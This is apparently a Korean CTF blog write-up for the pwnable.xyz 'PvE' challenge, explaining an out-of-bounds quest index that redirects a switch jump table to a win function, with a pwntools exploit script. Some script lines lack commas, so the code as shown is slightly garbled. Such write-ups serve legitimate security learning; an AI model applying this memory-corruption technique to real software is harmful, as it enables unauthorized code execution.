본문으로 바로가기

pwnable.xyz / PvE

category Wargame/pwnable.xyz 2020. 5. 12. 03:23

이 바이너리에서는 2개의 구조체를 사용한다.

 

 

attack 문제와 비슷한 버그가 있다.

 

void __fastcall pve()
{
  signed __int64 r; // [rsp+8h] [rbp-18h]

  if ( hero->level <= 5 )
  {
    hero->quest = &quests[rand() % 4];
  }
  else
  {
    print_quests();
    printf("Pick a quest: ");
    r = read_int();
    if ( r <= 3 )
      hero->quest = &quests[r];
  }

  play_quest(hero->quest);
}

 

hero의 레벨이 5 이상이면 퀘스트를 직접 선택할 수 있다. r을 음수로 설정해서 OOB read를 할 수 있고, hero->quest 포인터를 비교적 자유롭게 움직일 수 있다.

 

이 버그를 찾고 나서 어떻게 할 지 몰라서, 대충 아무 음수나 넣고 디버거를 돌리면서 확인해 봤다.

 

void __fastcall play_quest(quest *quest)
{
  while ( 2 )
  {
    switch ( quest->index )
    {
      case 0:
        ...
        break;
      case 1:
        ...
        break;
      case 2:
        ...
        break;
      case 3:
        ...
        break;
      case 4:
      case 5:
        return;
      default:
        continue;
    }
    break;
  }
}

 

play_quests의 구조는 대략 이렇다. switch에 quest->index가 들어간다. 해당 루틴을 어셈블리로 보자.

 

.text:000000000040113F                 cmp     eax, 5          ; switch 6 cases
.text:0000000000401142                 ja      short def_401169 ; jumptable 0000000000401169 default case
.text:0000000000401144                 nop     dword ptr [rax+00h]
.text:0000000000401148
.text:0000000000401148 def_401169:                             ; CODE XREF: play_quest+1A↑j
.text:0000000000401148                 mov     eax, eax        ; jumptable 0000000000401169 default case
.text:000000000040114A                 lea     rdx, ds:0[rax*4]
.text:0000000000401152                 lea     rax, jpt_401169
.text:0000000000401159                 mov     eax, ds:(jpt_401169 - 401674h)[rdx+rax]
.text:000000000040115C                 movsxd  rdx, eax
.text:000000000040115F                 lea     rax, jpt_401169
.text:0000000000401166                 add     rax, rdx
.text:0000000000401169                 jmp     rax             ; switch jump

 

eax는 quest->index 값을 들고 있으며, 최종적으로 rax는 jmp 직전에 0x401674 + (0x401674)[(4 * quest->index)] 값을 갖게 된다.

 

quest index를 -0x21f58d0fac687d60로 설정해서 hero->quest를 0x602520으로 만들고 hero->quest->index가 s2를 가리키도록 한다. 1번 quest에서 s2에 16바이트를 입력할 수 있는데, 첫 4바이트는 jump table을 기준으로 s2+4 의 index로 설정하고 다음 4바이트는 win+4와 jump table의 주소 차이를 넣어줘서 jmp rax 를 할 때 rax가 win+4를 나타내도록 한다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
import argparse


def exploit() :
    while True :
        r = p.recv(timeout=5)

        if b'Level: 6' in r :
            break

        p.write(b'1\x00')

    payload = p32((0x6025E4-0x401674) // 4)
    payload += p32((0x400A90-0x401674) & 0xFFFFFFFF)

    p.write(b'2\x00')
    p.writeafter(b'quest: 'b'1\x00')
    p.writeafter(b'Quest: ', payload)
    p.writeafter(b'> 'b'2\x00')
    p.writeafter(b'quest: 'b'-0x21f58d0fac687d60\x00')

    p.interactive()


if __name__ == '__main__' :
    parser = argparse.ArgumentParser()
    parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
    args = parser.parse_args()

    if args.remote :
        p = connect('svc.pwnable.xyz'30042fam='ipv4')
    else :
        p = process('./challenge')

    exploit()

 

 

 

Last update: 5/12/2020

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / BabyVM  (0) 2020.05.22
pwnable.xyz / knum  (0) 2020.05.22
pwnable.xyz / note v3  (0) 2020.05.11
pwnable.xyz / world  (0) 2020.05.11
pwnable.xyz / door  (0) 2020.05.06